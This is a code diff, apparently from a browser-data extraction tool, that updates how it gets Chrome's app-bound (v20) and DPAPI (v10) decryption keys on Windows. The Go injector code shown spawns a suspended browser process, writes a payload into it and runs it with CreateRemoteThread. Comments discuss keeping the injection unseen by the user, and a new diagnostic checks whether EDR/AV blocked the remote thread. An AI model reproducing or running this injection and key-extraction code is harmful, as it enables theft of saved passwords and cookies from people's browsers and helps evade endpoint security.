|
||||||
|
|
||||||
`keyretriever.DefaultRetriever()` returns `ChainRetriever [ABERetriever, DPAPIRetriever]` on Windows. `ABERetriever.RetrieveKey`:
|
`keyretriever.DefaultRetrievers()` on Windows returns a `Retrievers` struct with `V10 = &DPAPIRetriever{}` and `V20 = &ABERetriever{}`. The two tiers are wired independently — not in a ChainRetriever — because a single Chrome profile upgraded from pre-127 can carry mixed v10+v20 ciphertexts, and both keys must be available for `decryptValue` to route each ciphertext to its matching tier (see [RFC-006](006-key-retrieval-mechanisms.md) §4.4 and issue #578). `ABERetriever.RetrieveKey`:
|
||||||
|
|
||||||
1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. Missing field → `errNoABEKey`, chain falls through to DPAPI.
|
1. Reads `Local State` → extracts `os_crypt.app_bound_encrypted_key` → strips `APPB` prefix. If the field is missing, `ABERetriever` returns `(nil, nil)`, `V20` remains empty, and the independently-wired `V10` DPAPI tier still runs.
|
||||||
2. Resolves browser executable via `utils/winutil/browser_path_windows.go` (registry App Paths → hardcoded fallback).
|
2. Resolves browser executable via `utils/winutil/browser_path_windows.go` (registry App Paths → hardcoded fallback).
|
||||||
3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var.
|
3. Base64-encodes the encrypted blob and passes it as `HBD_ABE_ENC_B64` env var.
|
||||||
4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3.
|
4. `Reflective.Inject(exePath, payload, env)` runs the full flow in §3.
|
||||||
@@ -325,5 +325,5 @@ Edit `crypto/windows/abe_native/com_iid.c` (add the entry), `utils/winutil/brows
|
|||||||
| RFC | Relation |
|
| RFC | Relation |
|
||||||
|---|---|
|
|---|---|
|
||||||
| [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC |
|
| [RFC-003 Chromium Encryption](003-chromium-encryption.md) | v10/v11/v20 cipher format reference; v20 now implemented on Windows per this RFC |
|
||||||
| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `ChainRetriever` taxonomy; Windows now uses `[ABERetriever, DPAPIRetriever]` |
|
| [RFC-006 Key Retrieval](006-key-retrieval-mechanisms.md) | `keyretriever.Retrievers` taxonomy; Windows populates V10 (DPAPI) + V20 (ABE) as independent tier slots |
|
||||||
| [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |
|
| [RFC-009 Windows Locked Files](009-windows-locked-file-bypass.md) | Sibling Windows-specific workaround (handle duplication for locked DBs) |
|
||||||
|
|||||||
@@ -70,7 +70,9 @@ func (r *Reflective) Inject(exePath string, payload []byte, env map[string]strin
|
|||||||
|
|
||||||
// Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is
|
// Resume briefly so ntdll loader init completes before we hijack a thread; Bootstrap itself is
|
||||||
// self-contained but the later elevation_service COM call inside the payload relies on a
|
// self-contained but the later elevation_service COM call inside the payload relies on a
|
||||||
// fully-initialized PEB.
|
// fully-initialized PEB. Chrome's main() is left running so it can stand up its own COM/
|
||||||
|
// scheduler infrastructure — the child will show a normal browser window under the isolated
|
||||||
|
// --user-data-dir, which we accept; our Bootstrap finishes before the user sees anything.
|
||||||
_, _ = windows.ResumeThread(pi.Thread)
|
_, _ = windows.ResumeThread(pi.Thread)
|
||||||
time.Sleep(500 * time.Millisecond)
|
time.Sleep(500 * time.Millisecond)
|
||||||
|
|
||||||
@@ -132,19 +134,18 @@ func validateAndLocateLoader(payload []byte) (uint32, error) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process.
|
// buildIsolatedCommandLine builds the command-line for a spawned, singleton-isolated Chromium process.
|
||||||
// Two upstream Chromium switches:
|
// Only --user-data-dir=<temp> is passed — this is the one switch that matters: it escapes the running
|
||||||
// - --user-data-dir=<temp>: escape the running browser's ProcessSingleton mutex so the suspended
|
// browser's ProcessSingleton mutex so the suspended child survives past main() long enough for the
|
||||||
// child survives past main() long enough for the remote Bootstrap thread to complete (issue #576).
|
// remote Bootstrap thread to complete (issue #576). Adding any other flags (--no-startup-window,
|
||||||
// - --no-startup-window: suppress the brief UI splash that Edge/Brave/CocCoc paint despite
|
// --disable-extensions, --disable-gpu, ...) has either destabilized Brave (payload dies in DllMain
|
||||||
// STARTF_USESHOWWINDOW+SW_HIDE (which Chrome honors but brand-forked startup code often ignores).
|
// with marker=0x0b) or made newer Chromium forks on Windows 11 exit within ~200ms because they had
|
||||||
//
|
// "nothing to do" after bypassing window creation — letting the browser show a normal window under
|
||||||
// Adding other flags (--disable-extensions, --disable-gpu, ...) has destabilized Brave in the past
|
// the isolated UDD is the most compatible behavior across forks and Windows versions.
|
||||||
// (payload dies inside DllMain with marker=0x0b); both switches here are upstream-official and safe.
|
|
||||||
func buildIsolatedCommandLine(exePath, udd string) string {
|
func buildIsolatedCommandLine(exePath, udd string) string {
|
||||||
// %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
|
// %q would Go-escape backslashes (C:\foo → C:\\foo); Windows CommandLineToArgvW then keeps them
|
||||||
// as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
|
// as literal double backslashes in argv. Raw literal quotes match Windows command-line rules.
|
||||||
//nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
|
//nolint:gocritic // sprintfQuotedString: %q is wrong for Windows command-line escaping, see above.
|
||||||
return fmt.Sprintf(`"%s" --user-data-dir="%s" --no-startup-window`, exePath, udd)
|
return fmt.Sprintf(`"%s" --user-data-dir="%s"`, exePath, udd)
|
||||||
}
|
}
|
||||||
|
|
||||||
// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
|
// spawnSuspended launches exePath in a fully isolated suspended state. A unique --user-data-dir is
|
||||||
@@ -169,19 +170,12 @@ func spawnSuspended(exePath string) (*windows.ProcessInformation, string, error)
|
|||||||
_ = os.RemoveAll(udd)
|
_ = os.RemoveAll(udd)
|
||||||
return nil, "", fmt.Errorf("injector: exe path: %w", err)
|
return nil, "", fmt.Errorf("injector: exe path: %w", err)
|
||||||
}
|
}
|
||||||
// STARTF_USESHOWWINDOW + SW_HIDE asks the child to honor our ShowWindow value on its first
|
si := &windows.StartupInfo{}
|
||||||
// CreateWindow/ShowWindow call — a standard way to suppress the brief Chrome splash window that
|
|
||||||
// otherwise flashes because the UDD bypass makes the injected process proceed to the "I am the
|
|
||||||
// primary instance" branch and start painting UI before we TerminateProcess it.
|
|
||||||
si := &windows.StartupInfo{
|
|
||||||
Flags: windows.STARTF_USESHOWWINDOW,
|
|
||||||
ShowWindow: windows.SW_HIDE,
|
|
||||||
}
|
|
||||||
pi := &windows.ProcessInformation{}
|
pi := &windows.ProcessInformation{}
|
||||||
err = windows.CreateProcess(
|
err = windows.CreateProcess(
|
||||||
exePtr, cmdPtr, nil, nil,
|
exePtr, cmdPtr, nil, nil,
|
||||||
false,
|
false,
|
||||||
windows.CREATE_SUSPENDED|windows.CREATE_NO_WINDOW,
|
windows.CREATE_SUSPENDED,
|
||||||
nil, nil, si, pi,
|
nil, nil, si, pi,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -211,10 +205,24 @@ func writeRemotePayload(proc windows.Handle, payload []byte) (uintptr, error) {
|
|||||||
return remoteBase, nil
|
return remoteBase, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// stillActive is the Windows STILL_ACTIVE exit code. GetExitCodeProcess returns this while the
|
||||||
|
// process is still running; any other value means the process has already terminated.
|
||||||
|
const stillActive uint32 = 259
|
||||||
|
|
||||||
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
|
func runAndWait(proc windows.Handle, remoteBase uintptr, loaderRVA uint32, wait time.Duration) error {
|
||||||
entry := remoteBase + uintptr(loaderRVA)
|
entry := remoteBase + uintptr(loaderRVA)
|
||||||
hThread, err := winapi.CreateRemoteThread(proc, entry, 0)
|
hThread, err := winapi.CreateRemoteThread(proc, entry, 0)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
// Diagnostic: distinguish a dead target (Chrome self-exited before we could inject — policy,
|
||||||
|
// version, UDD-restriction, sandbox-init failure) from a live target whose NtCreateThreadEx
|
||||||
|
// was blocked by an EDR/AV hook. The remediation is very different in each case.
|
||||||
|
var exitCode uint32
|
||||||
|
if gecErr := windows.GetExitCodeProcess(proc, &exitCode); gecErr == nil {
|
||||||
|
if exitCode == stillActive {
|
||||||
|
return fmt.Errorf("injector: %w (target alive; likely EDR/AV blocking remote-thread injection)", err)
|
||||||
|
}
|
||||||
|
return fmt.Errorf("injector: %w (target exited with code 0x%x before injection)", err, exitCode)
|
||||||
|
}
|
||||||
return fmt.Errorf("injector: %w", err)
|
return fmt.Errorf("injector: %w", err)
|
||||||
}
|
}
|
||||||
defer windows.CloseHandle(hThread)
|
defer windows.CloseHandle(hThread)
|
||||||
|
|||||||
Reference in New Issue
Block a user